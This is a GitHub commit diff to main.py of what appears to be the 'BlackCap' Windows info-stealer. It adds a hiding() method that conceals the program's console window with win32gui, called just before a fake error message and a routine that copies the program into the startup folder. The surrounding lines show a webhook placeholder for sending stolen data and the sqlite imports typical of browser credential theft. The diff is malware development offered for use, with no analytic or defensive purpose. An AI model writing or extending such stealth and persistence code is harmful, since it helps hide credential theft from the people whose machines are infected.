Update main.py

This commit is contained in:
What about KSCH 2023-02-13 17:50:43 +01:00 committed by GitHub
parent ee058aaeb0
commit 0c8a4f2ce2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 10 additions and 0 deletions

10
main.py
View File

@ -17,6 +17,8 @@ import requests
import ctypes
import time
import pyperclip
import win32gui
import win32con
from sqlite3 import connect
@ -401,6 +403,13 @@ class bl4ckc4p(Functions):
copy2(argv[0], startup_path)
def hiding(self: str) -> str:
if self.hide == "yes":
hide = win32gui.GetForegroundWindow()
win32gui.ShowWindow(hide, win32con.SW_HIDE)
def _bexit(self):
@ -448,6 +457,7 @@ class bl4ckc4p(Functions):
if self.w3bh00k == "" or self.w3bh00k == "\x57EBHOOK_HERE":
self._bexit()
self.hiding()
self.fakeerror()
self.startupblackcap()